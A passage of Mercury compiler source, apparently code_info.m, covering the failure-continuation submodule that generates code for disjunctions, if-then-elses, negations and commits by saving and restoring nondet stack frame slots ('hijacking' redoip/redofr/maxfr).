 CI2 = code_info(CIStatic, LocDep, CIPersistent),\n    Pos = position_info(LocDep),\n    % Reset the location dependent part to the original.\n    CI = code_info(CIStatic, CILocDep0, CIPersistent).\n\n%---------------------------------------------------------------------------%\n%---------------------------------------------------------------------------%\n\n    % Submodule for the handling of failure continuations.\n\n    % The principles underlying this submodule of code_info.m are\n    % documented in the file compiler/notes/failure.html, which also\n    % defines terms such as \"quarter hijack\"). Some parts of the submodule\n    % also require knowledge of compiler/notes/allocation.html.\n\n:- interface.\n\n:- type resume_map.\n\n:- type resume_point_info.\n\n    % `prepare_for_disj_hijack' should be called before entering\n    % a disjunction. It saves the values of any nondet stack slots\n    % the disjunction may hijack, and if necessary, sets the redofr\n    % slot of the top frame to point to this frame. The code at the\n    % start of the individual disjuncts will override the redoip slot.\n    %\n    % `undo_disj_hijack' should be called before entering the last disjunct\n    % of a disjunction. It undoes the effects of `prepare_for_disj_hijack'.\n    %\n:- type disj_hijack_info.\n\n:- pred prepare_for_disj_hijack(code_model::in,\n    disj_hijack_info::out, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n:- pred undo_disj_hijack(disj_hijack_info::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n    % `prepare_for_ite_hijack' should be called before entering\n    % an if-then-else. It saves the values of any nondet stack slots\n    % the if-then-else may hijack, and if necessary, sets the redofr\n    % slot of the top frame to point to this frame. Our caller\n    % will then override the redoip slot to point to the start of\n    % the else part before generating the code of the condition.\n    % The maybe(lval) argument, if set to `yes', specifies the slot\n    % holding the success record to use in deciding whether to execute\n    % a region_ite_nondet_cond_fail operation at the start of the else branch.\n    %\n    % `ite_enter_then', which should be called after generating code for\n    % the condition, sets up the failure state of the code generator\n    % for generating the then-part, and returns the code sequences\n    % to be used at the starts of the then-part and the else-part\n    % to undo the effects of any hijacking.\n    %\n:- type ite_hijack_info.\n\n:- pred prepare_for_ite_hijack(code_model::in,\n    maybe(embedded_stack_frame_id)::in, ite_hijack_info::out, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n:- pred ite_enter_then(ite_hijack_info::in, resume_point_info::in,\n    llds_code::out, llds_code::out, code_info::in, code_info::out) is det.\n\n    % `enter_simple_neg' and `leave_simple_neg' should be called before\n    % and after generating the code for a negated unification, in\n    % situations where failure is a direct branch. We handle this case\n    % specially, because it occurs frequently and should not require\n    % a flushing of the expression cache, whereas the general way of\n    % handling negations does require a flush. These two predicates\n    % handle all aspects of the negation except for the unification itself.\n    %\n:- type simple_neg_info.\n\n:- pred enter_simple_neg(list(prog_var)::in, hlds_goal_info::in,\n    simple_neg_info::out, code_info::in, code_info::out) is det.\n\n:- pred leave_simple_neg(hlds_goal_info::in, simple_neg_info::in,\n    code_info::in, code_info::out) is det.\n\n    % `prepare_for_det_commit' and `generate_det_commit' should be\n    % called before and after generating the code for the multi goal\n    % being cut across. If the goal succeeds, the commit will cut away\n    % any choice points generated in the goal.\n    %\n    % The set_of_progvar should be the set of variables live before\n    % the scope goal.\n    %\n:- type det_commit_info.\n\n:- pred prepare_for_det_commit(add_trail_ops::in, add_region_ops::in,\n    set_of_progvar::in, hlds_goal_info::in, det_commit_info::out,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred generate_det_commit(det_commit_info::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n    % `prepare_for_semi_commit' and `generate_semi_commit' should be\n    % called before and after generating the code for the nondet goal\n    % being cut across. If the goal succeeds, the commit will cut\n    % any choice points generated in the goal.\n    %\n    % The set_of_progvar should be the set of variables live before\n    % the scope goal.\n    %\n:- type semi_commit_info.\n\n:- pred prepare_for_semi_commit(add_trail_ops::in, add_region_ops::in,\n    set_of_progvar::in, hlds_goal_info::in, semi_commit_info::out,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred generate_semi_commit(semi_commit_info::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n    % Put the given resume point into effect, by pushing it on to\n    % the resume point stack, and if necessary generating code to\n    % override the redoip of the top nondet stack frame.\n    %\n:- pred effect_resume_point(resume_point_info::in, code_model::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred pop_resume_point(code_info::in, code_info::out) is det.\n\n    % Return the details of the resume point currently on top of the\n    % failure continuation stack.\n    %\n:- pred top_resume_point(code_info::in, resume_point_info::out) is det.\n\n    % Call this predicate to say \"we have just left a disjunction;\n    % we don't know what address the following code will need to\n    % backtrack to\".\n    %\n:- pred set_resume_point_to_unknown(code_info::in, code_info::out) is det.\n\n    % Call this predicate to say \"we have just returned from a model_non\n    % call; we don't know what address the following code will need to\n    % backtrack to, and there may now be nondet frames on top of ours\n    % that do not have their redofr slots pointing to our frame\".\n    %\n:- pred set_resume_point_and_frame_to_unknown(code_info::in, code_info::out)\n    is det.\n\n    % Generate code for executing a failure that is appropriate for the\n    % current failure environment.\n    %\n:- pred generate_failure(llds_code::out, code_info::in, code_info::out) is det.\n\n    % Generate code that checks if the given rval is false, and if yes,\n    % executes a failure that is appropriate for the current failure\n    % environment.\n    %\n:- pred fail_if_rval_is_false(rval::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n    % Checks whether the appropriate code for failure in the current\n    % failure environment is a direct branch.\n    %\n:- pred failure_is_direct_branch(code_info::in, code_addr::out) is semidet.\n\n    % Checks under what circumstances the current failure environment\n    % would allow a model_non call at this point to be turned into a\n    % tail call, provided of course that the return from the call is\n    % followed immediately by succeed().\n    %\n:- pred may_use_nondet_tailcall(code_info::in, nondet_tail_call::out) is det.\n\n    % Materialize the given variables into registers or stack slots.\n    %\n:- pred produce_vars(list(prog_var)::in, resume_map::out, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n    % Put the variables needed in enclosing failure continuations\n    % into their stack slots.\n    %\n:- pred flush_resume_vars_to_stack(llds_code::out,\n    code_info::in, code_info::out) is det.\n\n    % Set up the resume_point_info structure.\n    % The ResumeVars passed as the first arguments should be a sorted list\n    % without duplicates.\n    %\n:- pred make_resume_point(list(prog_var)::in, resume_locs::in, resume_map::in,\n    resume_point_info::out, code_info::in, code_info::out) is det.\n\n    % Generate the code for a resume point.\n    %\n:- pred generate_resume_point(resume_point_info::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n    % List the variables that need to be preserved for the given resume point.\n    %\n:- pred resume_point_vars(resume_point_info::in, list(prog_var)::out) is det.\n\n    % See whether the given resume point includes a code address that presumes\n    % all the resume point variables to be in their stack slots. If yes,\n    % return that code address; otherwise, abort the compiler.\n    %\n:- pred resume_point_stack_addr(resume_point_info::in, code_addr::out) is det.\n\n%---------------------------------------------------------------------------%\n\n:- implementation.\n\n    % The part of the code generator state that says how to handle\n    % failures; also called the failure continuation stack.\n\n:- type fail_info\n    --->    fail_info(\n                stack(resume_point_info),\n                resume_point_known,\n                curfr_vs_maxfr,\n                condition_env,\n                hijack_allowed\n            ).\n\n    % A resumption point has one or two labels associated with it.\n    % Backtracking can arrive at either label. The code following\n    % each label will assume that the variables needed at the resumption\n    % point are in the locations given by the resume_map associated with\n    % the given label and nowhere else. Any code that can cause\n    % backtracking to a label must make sure that those variables are\n    % in the positions expected by the label.\n    %\n    % The only time when a code_addr in a resume_point info is not a label\n    % is when the code_addr is do_redo or do_fail, which indicate that\n    % the resumption point is either unknown or not in (this invocation of)\n    % this procedure.\n    %\n:- type resume_point_info\n    --->    orig_only(resume_map, code_addr)\n    ;       stack_only(resume_map, code_addr)\n    ;       orig_and_stack(resume_map, code_addr, resume_map, code_addr)\n    ;       stack_and_orig(resume_map, code_addr, resume_map, code_addr).\n\n    % A resume map maps the variables that will be needed at a resumption\n    % point to the locations in which they will be.\n    %\n:- type resume_map      ==  map(prog_var, set(lval)).\n\n:- type redoip_update\n    --->    has_been_done\n    ;       wont_be_done.\n\n:- type resume_point_known\n    --->    resume_point_known(redoip_update)\n    ;       resume_point_unknown.\n\n:- type curfr_vs_maxfr\n    --->    must_be_equal\n    ;       may_be_different.\n\n:- type condition_env\n    --->    inside_non_condition\n    ;       not_inside_non_condition.\n\n:- type hijack_allowed\n    --->    allowed\n    ;       not_allowed.\n\n%---------------------------------------------------------------------------%\n\n:- type disj_hijack_info\n    --->    disj_no_hijack\n    ;       disj_temp_frame\n    ;       disj_quarter_hijack\n    ;       disj_half_hijack(\n                % The stack slot in which we saved the value\n                % of the hijacked redoip.\n                lval\n            )\n    ;       disj_full_hijack(\n                % The stack slot in which we saved the value\n                % of the hijacked redoip.\n                lval,\n\n                % The stack slot in which we saved the value\n                % of the hijacked redofr.\n                lval\n            ).\n\nprepare_for_disj_hijack(CodeModel, HijackInfo, Code, !CI) :-\n    get_fail_info(!.CI, FailInfo),\n    FailInfo = fail_info(ResumePoints, ResumeKnown, CurfrMaxfr, CondEnv,\n        Allow),\n    (\n        ( CodeModel = model_det\n        ; CodeModel = model_semi\n        ),\n        HijackInfo = disj_no_hijack,\n        Code = singleton(\n            llds_instr(comment(\"disj no hijack\"), \"\")\n        )\n    ;\n        CodeModel = model_non,\n        (\n            CondEnv = inside_non_condition,\n            HijackInfo = disj_temp_frame,\n            create_temp_frame(do_fail, \"prepare for disjunction\", Code, !CI)\n        ;\n            CondEnv = not_inside_non_condition,\n            (\n                Allow = not_allowed,\n                (\n                    CurfrMaxfr = must_be_equal,\n                    ResumeKnown = resume_point_known(has_been_done),\n                    stack.pop(TopResumePoint, ResumePoints, RestResumePoints),\n                    stack.is_empty(RestResumePoints),\n                    TopResumePoint = stack_only(_, do_fail)\n                ->\n                    HijackInfo = disj_quarter_hijack,\n                    Code = singleton(\n                        llds_instr(comment(\"disj quarter hijack of do_fail\"),\n                            \"\")\n                    )\n                ;\n                    HijackInfo = disj_temp_frame,\n                    create_temp_frame(do_fail, \"prepare for disjunction\", Code,\n                        !CI)\n                )\n            ;\n                Allow = allowed,\n                (\n                    CurfrMaxfr = must_be_equal,\n                    (\n                        ResumeKnown = resume_point_known(has_been_done),\n                        HijackInfo = disj_quarter_hijack,\n                        Code = singleton(\n                            llds_instr(comment(\"disj quarter hijack\"), \"\")\n                        )\n                    ;\n                        ( ResumeKnown = resume_point_known(wont_be_done)\n                        ; ResumeKnown = resume_point_unknown\n                        ),\n                        acquire_temp_slot(slot_lval(redoip_slot(lval(curfr))),\n                            non_persistent_temp_slot, RedoipSlot, !CI),\n                        HijackInfo = disj_half_hijack(RedoipSlot),\n                        Code = singleton(\n                            llds_instr(assign(RedoipSlot,\n                                lval(redoip_slot(lval(curfr)))),\n                                \"prepare for half disj hijack\")\n                        )\n                    )\n                ;\n                    CurfrMaxfr = may_be_different,\n                    acquire_temp_slot(slot_lval(redoip_slot(lval(maxfr))),\n                        non_persistent_temp_slot, RedoipSlot, !CI),\n                    acquire_temp_slot(slot_lval(redofr_slot(lval(maxfr))),\n                        non_persistent_temp_slot, RedofrSlot, !CI),\n                    HijackInfo = disj_full_hijack(RedoipSlot, RedofrSlot),\n                    Code = from_list([\n                        llds_instr(\n                            assign(RedoipSlot, lval(redoip_slot(lval(maxfr)))),\n                            \"prepare for full disj hijack\"),\n                        llds_instr(\n                            assign(RedofrSlot, lval(redofr_slot(lval(maxfr)))),\n                            \"prepare for full disj hijack\"),\n                        llds_instr(\n                            assign(redofr_slot(lval(maxfr)), lval(curfr)),\n                            \"prepare for full disj hijack\")\n                    ])\n                )\n            )\n        )\n    ).\n\nundo_disj_hijack(HijackInfo, Code, !CI) :-\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(ResumePoints, ResumeKnown, CurfrMaxfr, CondEnv,\n        Allow),\n    (\n        HijackInfo = disj_no_hijack,\n        Code = empty\n    ;\n        HijackInfo = disj_temp_frame,\n        Code = singleton(\n            llds_instr(assign(maxfr, lval(prevfr_slot(lval(maxfr)))),\n                \"restore maxfr for temp frame disj\")\n        )\n    ;\n        HijackInfo = disj_quarter_hijack,\n        expect(unify(CurfrMaxfr, must_be_equal), $module, $pred,\n            \"maxfr may differ from curfr in disj_quarter_hijack\"),\n        stack.det_top(ResumePoints, ResumePoint),\n        pick_stack_resume_point(ResumePoint, _, StackLabel),\n        LabelConst = const(llconst_code_addr(StackLabel)),\n        % peephole.m looks for the \"curfr==maxfr\" pattern in the comment.\n        Code = singleton(\n            llds_instr(assign(redoip_slot(lval(curfr)), LabelConst),\n                \"restore redoip for quarter disj hijack (curfr==maxfr)\")\n        )\n    ;\n        HijackInfo = disj_half_hijack(RedoipSlot),\n        expect(unify(ResumeKnown, resume_point_unknown), $module, $pred,\n            \"resume point known in disj_half_hijack\"),\n        expect(unify(CurfrMaxfr, must_be_equal), $module, $pred,\n            \"maxfr may differ from curfr in disj_half_hijack\"),\n        % peephole.m looks for the \"curfr==maxfr\" pattern in the comment.\n        Code = singleton(\n            llds_instr(assign(redoip_slot(lval(curfr)), lval(RedoipSlot)),\n                \"restore redoip for half disj hijack (curfr==maxfr)\")\n        )\n    ;\n        HijackInfo = disj_full_hijack(RedoipSlot, RedofrSlot),\n        expect(unify(CurfrMaxfr, may_be_different), $module, $pred,\n            \"maxfr same as curfr in disj_full_hijack\"),\n        Code = from_list([\n            llds_instr(assign(redoip_slot(lval(maxfr)), lval(RedoipSlot)),\n                \"restore redoip for full disj hijack\"),\n            llds_instr(assign(redofr_slot(lval(maxfr)), lval(RedofrSlot)),\n                \"restore redofr for full disj hijack\")\n        ])\n    ),\n    (\n        % HijackInfo \\= disj_no_hijack if and only if the disjunction\n        % is model_non.\n        HijackInfo \\= disj_no_hijack,\n        CondEnv = inside_non_condition\n    ->\n        FailInfo = fail_info(ResumePoints, resume_point_unknown, CurfrMaxfr,\n            CondEnv, Allow),\n        set_fail_info(FailInfo, !CI)\n    ;\n        true\n    ).\n\n%---------------------------------------------------------------------------%\n\n    % For model_non if-then-elses, we need to clean up the embedded stack frame\n    % we create for the if-then-else when the condition fails after succeeding.\n    % For such if-then-elses, we record the id of the embedded frame we need to\n    % clean up, and the id of the slot that is initialized to false, and set to\n    % true each time the condition succeeds.\n:- type ite_region_info\n    --->    ite_region_info(\n                embedded_stack_frame_id,\n                lval\n            ).\n\n:- type ite_hijack_info\n    --->    ite_info(\n                resume_point_known,\n                condition_env,\n                ite_hijack_type,\n                maybe(ite_region_info)\n            ).\n\n:- type ite_hijack_type\n    --->    ite_no_hijack\n    ;       ite_temp_frame(\n                % The stack slot in which we saved the value of maxfr.\n                lval\n            )\n    ;       ite_quarter_hijack\n    ;       ite_half_hijack(\n                % The stack slot in which we saved the value\n                % of the hijacked redoip.\n                lval\n            )\n    ;       ite_full_hijack(\n                % The stack slot in which we saved the value\n                % of the hijacked redoip.\n                lval,\n\n                % The stack slot in which we saved the value\n                % of the hijacked redofr.\n                lval,\n\n                % The stack slot in which we saved the value of maxfr.\n                lval\n            ).\n\nprepare_for_ite_hijack(CondCodeModel, MaybeEmbeddedFrameId, HijackInfo, Code,\n        !CI) :-\n    get_fail_info(!.CI, FailInfo),\n    FailInfo = fail_info(_, ResumeKnown, CurfrMaxfr, CondEnv, Allow),\n    (\n        % It is possible for a negated goal (which is the \"Condition\" of the\n        % equivalent if-then-else) to be det, if it is also impure.\n        ( CondCodeModel = model_det\n        ; CondCodeModel = model_semi\n        ),\n        expect(unify(MaybeEmbeddedFrameId, no), $module, $pred,\n            \"MaybeEmbeddedFrameId in model_semi\"),\n        HijackType = ite_no_hijack,\n        Code = singleton(\n            llds_instr(comment(\"ite no hijack\"), \"\")\n        ),\n        MaybeRegionInfo = no\n    ;\n        CondCodeModel = model_non,\n        (\n            ( Allow = not_allowed\n            ; CondEnv = inside_non_condition\n            ; MaybeEmbeddedFrameId = yes(_)\n            )\n        ->\n            acquire_temp_slot(slot_lval(maxfr), non_persistent_temp_slot,\n                MaxfrSlot, !CI),\n            HijackType = ite_temp_frame(MaxfrSlot),\n            create_temp_frame(do_fail, \"prepare for ite\", TempFrameCode, !CI),\n            MaxfrCode = singleton(\n                llds_instr(assign(MaxfrSlot, lval(maxfr)), \"prepare for ite\")\n            ),\n            (\n                MaybeEmbeddedFrameId = yes(EmbeddedFrameId),\n                % Note that this slot is intentionally not released anywhere.\n                acquire_temp_slot(slot_success_record, persistent_temp_slot,\n                    SuccessRecordSlot, !CI),\n                InitSuccessCode = singleton(\n                    llds_instr(\n                        assign(SuccessRecordSlot, const(llconst_false)),\n                        \"record no success of the condition yes\")\n                ),\n                MaybeRegionInfo =\n                    yes(ite_region_info(EmbeddedFrameId, SuccessRecordSlot))\n            ;\n                MaybeEmbeddedFrameId = no,\n                InitSuccessCode = empty,\n                MaybeRegionInfo = no\n            ),\n            Code = TempFrameCode ++ MaxfrCode ++ InitSuccessCode\n        ;\n            (\n                CurfrMaxfr = must_be_equal,\n                (\n                    ResumeKnown = resume_point_known(_),\n                    HijackType = ite_quarter_hijack,\n                    Code = singleton(\n                        llds_instr(comment(\"ite quarter hijack\"), \"\")\n                    )\n                ;\n                    ResumeKnown = resume_point_unknown,\n                    acquire_temp_slot(slot_lval(redoip_slot(lval(curfr))),\n                        non_persistent_temp_slot, RedoipSlot, !CI),\n                    HijackType = ite_half_hijack(RedoipSlot),\n                    Code = singleton(\n                        llds_instr(\n                            assign(RedoipSlot, lval(redoip_slot(lval(curfr)))),\n                            \"prepare for half ite hijack\")\n                    )\n                )\n            ;\n                CurfrMaxfr = may_be_different,\n                acquire_temp_slot(slot_lval(redoip_slot(lval(maxfr))),\n                    non_persistent_temp_slot, RedoipSlot, !CI),\n                acquire_temp_slot(slot_lval(redofr_slot(lval(maxfr))),\n                    non_persistent_temp_slot, RedofrSlot, !CI),\n                acquire_temp_slot(slot_lval(maxfr),\n                    non_persistent_temp_slot, MaxfrSlot, !CI),\n                HijackType = ite_full_hijack(RedoipSlot, RedofrSlot,\n                    MaxfrSlot),\n                Code = from_list([\n                    llds_instr(\n                        assign(MaxfrSlot, lval(maxfr)),\n                        \"prepare for full ite hijack\"),\n                    llds_instr(\n                        assign(RedoipSlot, lval(redoip_slot(lval(maxfr)))),\n                        \"prepare for full ite hijack\"),\n                    llds_instr(\n                        assign(RedofrSlot, lval(redofr_slot(lval(maxfr)))),\n                        \"prepare for full ite hijack\"),\n                    llds_instr(\n                        assign(redofr_slot(lval(maxfr)), lval(curfr)),\n                        \"prepare for full ite hijack\")\n                ])\n            ),\n            MaybeRegionInfo = no\n        ),\n        inside_non_condition(!CI)\n    ),\n    HijackInfo = ite_info(ResumeKnown, CondEnv, HijackType, MaybeRegionInfo).\n\nite_enter_then(HijackInfo, ITEResumePoint, ThenCode, ElseCode, !CI) :-\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(ResumePoints0, ResumeKnown0, CurfrMaxfr, _, Allow),\n    stack.det_pop(_, ResumePoints0, ResumePoints),\n    HijackInfo = ite_info(HijackResumeKnown, OldCondEnv, HijackType,\n        MaybeRegionInfo),\n    (\n        HijackType = ite_no_hijack,\n        expect(unify(MaybeRegionInfo, no), $module, $pred,\n            \"MaybeRegionInfo ite_no_hijack\"),\n        ThenCode = empty,\n        ElseCode = empty\n    ;\n        HijackType = ite_temp_frame(MaxfrSlot),\n        (\n            MaybeRegionInfo = no,\n            ThenCode = singleton(\n                % We can't remove the frame, it may not be on top.\n                llds_instr(assign(redoip_slot(lval(MaxfrSlot)),\n                    const(llconst_code_addr(do_fail))),\n                    \"soft cut for temp frame ite\")\n            ),\n            ElseCode = singleton(\n                % XXX search for assignments to maxfr\n                llds_instr(assign(maxfr, lval(prevfr_slot(lval(MaxfrSlot)))),\n                    \"restore maxfr for temp frame ite\")\n            )\n        ;\n            MaybeRegionInfo = yes(RegionInfo),\n            RegionInfo = ite_region_info(EmbeddedStackFrameId,\n                SuccessRecordSlot),\n            % XXX replace do_fail with ref to ResumePoint stack label\n            resume_point_stack_addr(ITEResumePoint, ITEStackResumeCodeAddr),\n            ThenCode = from_list([\n                llds_instr(assign(SuccessRecordSlot, const(llconst_true)),\n                    \"record success of the condition\"),\n                llds_instr(assign(redoip_slot(lval(MaxfrSlot)),\n                    const(llconst_code_addr(ITEStackResumeCodeAddr))),\n                    \"redirect to cut for temp frame ite\")\n            ]),\n            get_next_label(AfterRegionOp, !CI),\n            ElseCode = from_list([\n                llds_instr(assign(maxfr, lval(prevfr_slot(lval(MaxfrSlot)))),\n                    \"restore maxfr for temp frame ite\"),\n                llds_instr(if_val(unop(logical_not, lval(SuccessRecordSlot)),\n                    code_label(AfterRegionOp)),\n                    \"jump around if the condition never succeeded\"),\n                llds_instr(use_and_maybe_pop_region_frame(\n                    region_ite_nondet_cond_fail, EmbeddedStackFrameId),\n                    \"cleanup after the post-success failure of the condition\"),\n                llds_instr(goto(do_fail),\n                    \"the condition succeeded, so don't execute else branch\"),\n                llds_instr(label(AfterRegionOp),\n                    \"after region op\")\n            ])\n        )\n    ;\n        HijackType = ite_quarter_hijack,\n        expect(unify(MaybeRegionInfo, no), $module, $pred,\n            \"MaybeRegionInfo ite_quarter_hijack\"),\n        stack.det_top(ResumePoints, ResumePoint),\n        ( maybe_pick_stack_resume_point(ResumePoint, _, StackLabel) ->\n            LabelConst = const(llconst_code_addr(StackLabel)),\n            ThenCode = singleton(\n                llds_instr(assign(redoip_slot(lval(curfr)), LabelConst),\n                    \"restore redoip for quarter ite hijack\")\n            )\n        ;\n            % This can happen only if ResumePoint is unreachable from here.\n            ThenCode = empty\n        ),\n        ElseCode = ThenCode\n    ;\n        HijackType = ite_half_hijack(RedoipSlot),\n        expect(unify(MaybeRegionInfo, no), $module, $pred,\n            \"MaybeRegionInfo ite_half_hijack\"),\n        ThenCode = singleton(\n            llds_instr(assign(redoip_slot(lval(curfr)), lval(RedoipSlot)),\n                \"restore redoip for half ite hijack\")\n        ),\n        ElseCode = ThenCode\n    ;\n        HijackType = ite_full_hijack(RedoipSlot, RedofrSlot, MaxfrSlot),\n        expect(unify(MaybeRegionInfo, no), $module, $pred,\n            \"MaybeRegionInfo ite_full_hijack\"),\n        ThenCode = from_list([\n            llds_instr(assign(redoip_slot(lval(MaxfrSlot)), lval(RedoipSlot)),\n                \"restore redoip for full ite hijack\"),\n            llds_instr(assign(redofr_slot(lval(MaxfrSlot)), lval(RedofrSlot)),\n                \"restore redofr for full ite hijack\")\n        ]),\n        ElseCode = from_list([\n            llds_instr(assign(redoip_slot(lval(maxfr)), lval(RedoipSlot)),\n                \"restore redoip for full ite hijack\"),\n            llds_instr(assign(redofr_slot(lval(maxfr)), lval(RedofrSlot)),\n                \"restore redofr for full ite hijack\")\n        ])\n    ),\n    (\n        ResumeKnown0 = resume_point_unknown,\n        ResumeKnown = resume_point_unknown\n    ;\n        ResumeKnown0 = resume_point_known(_),\n        ResumeKnown = HijackResumeKnown\n    ),\n    FailInfo = fail_info(ResumePoints, ResumeKnown, CurfrMaxfr, OldCondEnv,\n        Allow),\n    set_fail_info(FailInfo, !CI).\n\n%---------------------------------------------------------------------------%\n\n:- type simple_neg_info ==  fail_info.\n\nenter_simple_neg(ResumeVars, GoalInfo, FailInfo0, !CI) :-\n    get_fail_info(!.CI, FailInfo0),\n    % The only reason why we push a resume point at all is to protect\n    % the variables in ResumeVars from becoming unknown; by including them\n    % in the domain of the resume point, we guarantee that they will become\n    % zombies instead of unknown if they die in the pre- or post-goal updates.\n    % Therefore the only part of ResumePoint that matters is the set of\n    % variables in the resume map; the other parts of ResumePoint\n    % (the locations, the code address) will not be referenced.\n    map.init(ResumeMap0),\n    make_fake_resume_map(ResumeVars, ResumeMap0, ResumeMap),\n    ResumePoint = orig_only(ResumeMap, do_redo),\n    effect_resume_point(ResumePoint, model_semi, Code, !CI),\n    expect(is_empty(Code), $module, $pred, \"nonempty code for simple neg\"),\n    pre_goal_update(GoalInfo, does_not_have_subgoals, !CI).\n\nleave_simple_neg(GoalInfo, FailInfo, !CI) :-\n    post_goal_update(GoalInfo, !CI),\n    set_fail_info(FailInfo, !CI).\n\n:- pred make_fake_resume_map(list(prog_var)::in,\n    map(prog_var, set(lval))::in, map(prog_var, set(lval))::out) is det.\n\nmake_fake_resume_map([], !ResumeMap).\nmake_fake_resume_map([Var | Vars], !ResumeMap) :-\n    % A visibly fake location.\n    Locns = set.make_singleton_set(reg(reg_r, -1)),\n    map.det_insert(Var, Locns, !ResumeMap),\n    make_fake_resume_map(Vars, !ResumeMap).\n\n%---------------------------------------------------------------------------%\n\n:- type det_commit_info\n    --->    det_commit_info(\n                % Location of saved maxfr.\n                maybe(lval),\n\n                % Location of saved ticket % counter and trail pointer.\n                maybe(pair(lval)),\n\n                maybe(region_commit_stack_frame)\n            ).\n\n:- type region_commit_stack_frame\n    --->    region_commit_stack_frame(\n                % The id of the region commit stack frame, which is emdedded\n                % in the current procedure's stack frame, and whose layout is:\n\n                % saved region_commit_stack_pointer\n                % saved region sequence number\n                % number of live nonprotected regions\n                % space reserved for the ids of live nonprotected regions\n\n                embedded_stack_frame_id,\n\n                % The list of temporary slots that constitute\n                % this embedded stack frame.\n                list(lval)\n            ).\n\nprepare_for_det_commit(AddTrailOps, AddRegionOps, ForwardLiveVarsBeforeGoal,\n        CommitGoalInfo, DetCommitInfo, Code, !CI) :-\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(_, _, CurfrMaxfr, _, _),\n    (\n        CurfrMaxfr = may_be_different,\n        acquire_temp_slot(slot_lval(maxfr), non_persistent_temp_slot,\n            MaxfrSlot, !CI),\n        SaveMaxfrCode = singleton(\n            llds_instr(save_maxfr(MaxfrSlot), \"save the value of maxfr\")\n        ),\n        MaybeMaxfrSlot = yes(MaxfrSlot)\n    ;\n        CurfrMaxfr = must_be_equal,\n        SaveMaxfrCode = empty,\n        MaybeMaxfrSlot = no\n    ),\n    maybe_save_trail_info(AddTrailOps, MaybeTrailSlots, SaveTrailCode, !CI),\n    maybe_save_region_commit_frame(AddRegionOps, ForwardLiveVarsBeforeGoal,\n        CommitGoalInfo, MaybeRegionCommitFrameInfo, SaveRegionCommitFrameCode,\n        !CI),\n    DetCommitInfo = det_commit_info(MaybeMaxfrSlot, MaybeTrailSlots,\n        MaybeRegionCommitFrameInfo),\n    Code = SaveMaxfrCode ++ SaveTrailCode ++ SaveRegionCommitFrameCode.\n\ngenerate_det_commit(DetCommitInfo, Code, !CI) :-\n    DetCommitInfo = det_commit_info(MaybeMaxfrSlot, MaybeTrailSlots,\n        MaybeRegionCommitFrameInfo),\n    (\n        MaybeMaxfrSlot = yes(MaxfrSlot),\n        RestoreMaxfrCode = singleton(\n            llds_instr(restore_maxfr(MaxfrSlot),\n                \"restore the value of maxfr - perform commit\")\n        ),\n        release_temp_slot(MaxfrSlot, non_persistent_temp_slot, !CI)\n    ;\n        MaybeMaxfrSlot = no,\n        RestoreMaxfrCode = singleton(\n            llds_instr(assign(maxfr, lval(curfr)),\n                \"restore the value of maxfr - perform commit\")\n        )\n    ),\n    maybe_restore_trail_info(MaybeTrailSlots, CommitTrailCode, _, !CI),\n    maybe_restore_region_commit_frame(MaybeRegionCommitFrameInfo,\n        SuccessRegionCode, _FailureRegionCode, !CI),\n    Code = RestoreMaxfrCode ++ CommitTrailCode ++ SuccessRegionCode.\n\n%---------------------------------------------------------------------------%\n\n:- type semi_commit_info\n    --->    semi_commit_info(\n                % Fail_info on entry.\n                fail_info,\n\n                resume_point_info,\n                commit_hijack_info,\n\n                % Location of saved ticket counter and trail pointer.\n                maybe(pair(lval)),\n\n                maybe(region_commit_stack_frame)\n            ).\n\n:- type commit_hijack_info\n    --->    commit_temp_frame(\n                % The stack slot in which we saved the old value of maxfr.\n                lval,\n\n                % Do we bracket the goal with MR_commit_mark and MR_commit_cut?\n                bool\n            )\n    ;       commit_quarter_hijack\n    ;       commit_half_hijack(\n                % The stack slot in which we saved the value\n                % of the hijacked redoip.\n                lval\n            )\n    ;       commit_full_hijack(\n                % The stack slot in which we saved the value\n                % of the hijacked redoip.\n                lval,\n\n                % The stack slot in which we saved the value\n                % of the hijacked redofr.\n                lval,\n\n                % The stack slot in which we saved the value of maxfr.\n                lval\n            ).\n\nprepare_for_semi_commit(AddTrailOps, AddRegionOps, ForwardLiveVarsBeforeGoal,\n        CommitGoalInfo, SemiCommitInfo, Code, !CI) :-\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(ResumePoints0, ResumeKnown, CurfrMaxfr, CondEnv,\n        Allow),\n    stack.det_top(ResumePoints0, TopResumePoint),\n    clone_resume_point(TopResumePoint, NewResumePoint, !CI),\n    stack.push(NewResumePoint, ResumePoints0, ResumePoints),\n    FailInfo = fail_info(ResumePoints, resume_point_known(has_been_done),\n        CurfrMaxfr, CondEnv, Allow),\n    set_fail_info(FailInfo, !CI),\n\n    pick_stack_resume_point(NewResumePoint, _, StackLabel),\n    StackLabelConst = const(llconst_code_addr(StackLabel)),\n    (\n        ( Allow = not_allowed ; CondEnv = inside_non_condition )\n    ->\n        acquire_temp_slot(slot_lval(maxfr), non_persistent_temp_slot,\n            MaxfrSlot, !CI),\n        MaxfrCode = singleton(\n            llds_instr(save_maxfr(MaxfrSlot),\n                \"prepare for temp frame commit\")\n        ),\n        create_temp_frame(StackLabel,\n            \"prepare for temp frame commit\", TempFrameCode, !CI),\n        get_globals(!.CI, Globals),\n        globals.lookup_bool_option(Globals, use_minimal_model_stack_copy_cut,\n            UseMinimalModelStackCopyCut),\n        HijackInfo = commit_temp_frame(MaxfrSlot, UseMinimalModelStackCopyCut),\n        (\n            UseMinimalModelStackCopyCut = yes,\n            % If the code we are committing across starts but does not complete\n            % the evaluation of a tabled subgoal, the cut will remove the\n            % generator's choice point, so that the evaluation of the subgoal\n            % will never be completed. We handle such \"dangling\" generators\n            % by removing them from the subgoal trie of the tabled procedure.\n            % This requires knowing what tabled subgoals are started inside\n            % commits, which is why we wrap the goal being committed across\n            % inside 